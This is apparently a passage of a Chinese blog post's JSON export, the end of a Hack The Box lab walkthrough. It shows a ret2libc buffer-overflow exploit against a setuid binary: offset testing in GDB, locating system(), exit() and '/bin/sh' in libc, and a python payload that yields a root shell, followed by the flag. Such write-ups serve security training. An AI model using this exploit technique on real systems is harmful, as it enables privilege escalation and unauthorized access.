}\n}<\/code><\/pre>\n<p>\u53d1\u73b0\u7a0b\u5e8f\u5c06\u8f93\u5165\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f20\u9012\u7ed9\u4e86<code>vuln()<\/code>\u51fd\u6570\uff0c\u800c<code>vuln()<\/code>\u51fd\u6570\u5b58\u5728\u4e25\u91cd\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>GDB Peda<\/code>\u63d2\u4ef6\u8fdb\u884c\u8c03\u8bd5\uff0c\u5728\u7ecf\u8fc7\u521d\u6b65\u5b57\u7b26\u4e32\u6ea2\u51fa\u6d4b\u8bd5\u540e\uff0c\u53d1\u73b0\u7a0b\u5e8f\u5404\u5173\u952e\u5bc4\u5b58\u5668\u7684\u5b9e\u9645\u53ef\u5229\u7528\u7a7a\u95f4\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-shell\">run $(python -c \"print('A'*48 + 'B'*4 + 'C'*4 + 'D'*208)\")<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722386397979-11dacc8e-e127-441e-8941-ae54ee3223c4.png\" alt=\"\" \/><\/p>\n<ul>\n<li>\u5185\u5b58\u7f13\u51b2\u533a\uff1a<code>48<\/code>\u5b57\u8282<\/li>\n<li><code>EBP<\/code>\uff1a<code>4<\/code>\u5b57\u8282<\/li>\n<li><code>EIP<\/code>\uff1a<code>4<\/code>\u5b57\u8282<\/li>\n<li><code>ESP<\/code>\uff1a<code>208<\/code>\u5b57\u8282<\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u67e5\u627e<code>JMP ESP<\/code>\u6307\u4ee4\uff0c\u5931\u8d25\uff1a<\/p>\n<pre><code class=\"language-shell\">jmpcall<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722386900016-eb8e408d-ac53-4850-88f7-ed7b941b5820.png\" alt=\"\" \/><\/p>\n<p>\u7531\u4e8e\u7a0b\u5e8f\u5185\u6ca1\u6709<code>JMP ESP<\/code>\u6307\u4ee4\uff0c\u4e8e\u662f\u51b3\u5b9a\u5c06<code>EIP<\/code>\u5bc4\u5b58\u5668\u5185\u7684\u8df3\u8f6c\u5730\u5740\u4fee\u6539\u4e3a<code>system()<\/code>\u51fd\u6570\u7684\u5185\u5b58\u5730\u5740\uff0c\u5e76\u5c06<code>ESP<\/code>\u5185\u7684\u67d0\u884c\u5730\u5740\u4fee\u6539\u4e3a\u5b57\u7b26\u4e32<code>\/bin\/sh<\/code>\u7684\u5730\u5740\u4f5c\u4e3a\u4f20\u5165\u53c2\u6570\uff0c\u4ee5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<strong>\u9996\u5148\u8fdb\u5165\u9776\u673a<\/strong>\uff0c\u83b7\u53d6\u5e93\u6587\u4ef6<code>libc<\/code>\u7684\u5730\u5740\uff1a<\/p>\n<pre><code class=\"language-shell\">ldd .\/rop<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722391016122-698dd0d3-adc7-4116-a6a9-8625dadd9222.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>libc.so.6<\/code>\u6587\u4ef6\u5185\u5b58\u5730\u5740\u4e3a<code>0xf7d82000<\/code>\u3002\u63a5\u4e0b\u6765\u5bfb\u627e<code>system()<\/code>\u548c<code>exit()<\/code>\u4e24\u4e2a\u51fd\u6570\u548c\u5b57\u7b26\u4e32<code>\"\/bin\/sh\"<\/code>\u5728\u8be5\u6587\u4ef6\u5185\u7684\u5730\u5740\uff1a<\/p>\n<pre><code class=\"language-shell\">readelf -s \/lib\/i386-linux-gnu\/libc.so.6 | grep \" system@\"\nreadelf -s \/lib\/i386-linux-gnu\/libc.so.6 | grep \" exit@\"\nstrings -a -t x \/lib\/i386-linux-gnu\/libc.so.6 | grep \"\/bin\/sh\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722391094359-daa84724-7558-410f-b484-fde61d43bb14.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>GDB<\/code>\u5c06\u5e93\u6587\u4ef6\u5730\u5740\u548c\u4e09\u6761\u5173\u952e\u6307\u4ee4\u7684\u6587\u4ef6\u5185\u5730\u5740\u76f8\u52a0\uff0c\u5f97\u5230\u4e09\u6761\u6307\u4ee4\u7684\u771f\u5b9e\u5185\u5b58\u8c03\u7528\u5730\u5740\uff1a<\/p>\n<pre><code class=\"language-shell\">p 0xb7e19000 + 0x0003ada0    # system()\np 0xb7e19000 + 0x0002e9d0    # exit()\np 0xb7e19000 + 0x15ba0b      # \"\/bin\/sh\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722391383391-1da134e8-68a9-49c2-b008-7ec06e75deb3.png\" alt=\"\" \/><\/p>\n<ul>\n<li><code>system()<\/code>\uff1a<code>0xb7e53da0<\/code><\/li>\n<li><code>exit()<\/code>\uff1a<code>0xb7e479d0<\/code><\/li>\n<li><code>\"\/bin\/sh\"<\/code>\uff1a<code>0xb7f74a0b<\/code><\/li>\n<\/ul>\n<p>\u968f\u540e\u5c1d\u8bd5\u5c06<code>EIP<\/code>\u5bc4\u5b58\u5668\u5730\u5740\u6307\u5411<code>system()<\/code>\u51fd\u6570\u5730\u5740\uff0c\u5728<code>ESP<\/code>\u5bc4\u5b58\u5668\u5185\u62fc\u63a5<code>exit()<\/code>\u548c<code>\"\/bin\/sh\"<\/code>\u7684\u5730\u5740\uff1a<\/p>\n<pre><code class=\"language-shell\">.\/rop $(python -c \"print('A'*48 + 'B'*4 + 'xa0x3dxe5xb7' + 'xd0x79xe4xb7' + 'x0bx4axf7xb7')\")<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722391695557-5baeba9c-7ebc-482c-a0c3-d5aed3f0166e.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">43ad4c9c794f6e265ec2633ad1e3ae9a<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.111 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-134","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=134"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/134\/revisions"}],"predecessor-version":[{"id":135,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/134\/revisions\/135"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}